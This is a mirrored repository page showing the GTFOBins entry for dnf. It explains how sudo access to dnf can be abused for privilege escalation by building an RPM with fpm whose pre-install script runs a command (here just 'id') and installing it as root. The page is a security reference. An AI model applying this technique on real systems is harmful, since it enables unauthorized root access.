This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-28 03:01:42 +01:00
Code
Issues
08dfd05aee
GTFOBins.github.io
/
_gtfobins
/
dnf.md
Emilio
9dc5fa2128
Add dnf thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/
as in
#51
2019-02-02 16:15:49 +00:00
407 B
Raw
Blame
History
functions
sudo
description
code
It runs commands using a specially crafted RPM package. Generate it with [fpm](
https://github.com/jordansissel/fpm
) and upload it to the target. ``` TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF ```
sudo dnf install -y x-1.0-1.noarch.rpm